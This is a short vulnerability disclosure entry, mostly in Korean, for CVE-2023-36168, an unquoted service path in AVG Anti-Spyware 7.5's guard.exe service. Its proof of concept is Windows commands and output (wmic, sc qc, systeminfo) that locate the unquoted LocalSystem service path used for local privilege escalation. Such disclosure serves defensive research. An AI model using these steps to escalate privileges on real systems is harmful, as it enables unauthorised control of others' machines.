CVE-2023-36168

AVG AVG Anti-Spyware v.7.5의 문제로 인해 공격자가 조작된 스크립트를 guard.exe 구성 요소에 전달하여 임의 코드를 실행할 수 있습니다.

익스플로이트 제목: AVG Anti Spyware 7.5 - Unquoted Service Path

날짜: 05/08/2023

익스플로이트 작성자: Idan Malihi

공급업체 홈페이지: https://www.avg.com

소프트웨어 링크: https://www.avg.com/en-ww/homepage#pc

버전: 7.5

테스트 환경: Microsoft Windows 10 Pro

CVE : CVE-2023-36168

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """ AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto

C:\Users>sc qc "AVG Anti-Spyware Guard" [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : AVG Anti-Spyware Guard DEPENDENCIES : SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name: DESKTOP-LA7J17P OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19042 N/A Build 19042 OS Manufacturer: Microsoft Corporation